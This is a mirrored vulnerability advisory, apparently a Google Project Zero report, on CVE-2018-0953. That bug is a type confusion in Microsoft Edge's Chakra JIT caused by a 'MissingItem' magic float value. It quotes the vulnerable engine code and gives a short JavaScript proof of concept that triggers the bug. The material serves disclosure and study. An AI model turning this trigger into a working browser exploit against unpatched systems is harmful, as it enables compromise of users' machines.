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Microsoft Edge Chakra JIT Magic Value Type Confusion

Microsoft Edge Chakra JIT Magic Value Type Confusion
Posted May 24, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT suffers from an issue where a magic value can cause a type confusion vulnerability.

tags | advisory
advisories | CVE-2018-0953
MD5 | 4a021dfd3c28a0b21d17bfd6d8b4c5bf

Microsoft Edge Chakra JIT Magic Value Type Confusion

Change Mirror Download
Microsoft Edge: Chakra: JIT: Magic value can cause type confusion 

CVE-2018-0953


BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
{
JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
return TRUE;
}

this->DirectSetItemAt<double>(index, dValue);
return TRUE;
}

As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. And since the JITed code doesn't check whether the input is a magic value (MissingItem) which can cause a type conversion, it could result in type confusion.

function opt(arr, value) {
arr[1] = value;
arr[0] = 2.3023e-320;
}

function main() {
for (let i = 0; i < 0x10000; i++)
opt([1.1], 2.2);

let arr = [1.1];
opt(arr, -5.3049894784e-314); // MAGIC VALUE!

print(arr);
}

main();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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